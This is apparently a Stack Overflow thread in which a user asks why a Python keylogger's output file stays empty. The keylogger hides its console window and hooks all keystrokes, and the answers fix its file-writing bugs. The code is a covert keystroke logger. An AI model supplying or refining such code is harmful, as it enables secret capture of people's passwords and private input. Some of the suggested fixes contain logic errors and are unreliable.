0

I am trying to write the key strokes I make to a new text file. I got the following code:

import win32api
import win32console
import win32gui
import pythoncom
import pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):
    if event.Ascii == 5:
        _exit(1)
    if event.Ascii != 0 or 8:
        f = open('C:\Users\Joey\Desktop\output.txt', 'w+')
        buffer = f.read()
        f.close()

        f = open('C:\Users\Joey\Desktop\output.txt', 'w')
        keylogs = chr(event.Ascii)

        if event.Ascii == 13:
            keylogs = '/n'
        buffer += keylogs
        f.write(buffer)
        f.close()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

I don't get any errors so I guess that's good. But everytime I check output.txt I see a empty text file. What is wrong with my code?

Pyrce
  • 8,296
  • 3
  • 31
  • 46
joey
  • 241
  • 1
  • 4
  • 16
  • Have you tried printing the content of your `buffer` in order to make sure not writing empty strings to your file? Instead of re-reading the file-contents you could think about appending to the file by passing the `a` option the open statement. – albert Sep 06 '15 at 17:00

2 Answers2

2

Look here for the difference between w and w+. You're overwriting the file every time with the second open for write f=open('C:\Users\Joey\Desktop\output.txt', 'w')

I'd imagine your file has just a line break in it. Try opening with just the a option to write to the end of file (EOF) every time.

if event.Ascii != 0 or event.Ascii !=8:
    f=open('C:\Users\Joey\Desktop\output.txt', 'a')
    keylogs=chr(event.Ascii)

    if event.Ascii == 13:
        keylogs='/n'
    buffer += keylogs
    f.write(buffer)
    f.close()
Community
  • 1
  • 1
TomNash
  • 3,147
  • 2
  • 21
  • 57
1

Initially, your if statement always evaluates to true, it should be:

if event.Ascii != 0 or event.Ascii !=8: 

or, even better:

if event.Ascii not in [0, 1]: 

Also the file open modes might not be what you want, take a look at the docs for a rundown of these.

Dimitris Fasarakis Hilliard
  • 150,925
  • 31
  • 268
  • 253